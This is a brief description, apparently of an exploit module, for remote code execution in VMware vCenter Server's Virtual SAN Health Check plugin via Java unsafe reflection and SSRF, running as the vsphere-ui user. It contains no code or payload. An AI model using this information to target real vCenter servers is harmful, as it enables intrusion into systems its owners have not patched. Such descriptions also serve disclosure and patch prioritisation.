This module exploits Java unsafe reflection and SSRF in the VMware  
vCenter Server Virtual SAN Health Check plugin's ProxygenController  
class to execute code as the vsphere-ui user.  
  
See the vendor advisory for affected and patched versions. Tested  
against VMware vCenter Server 6.7 Update 3m (Linux appliance).
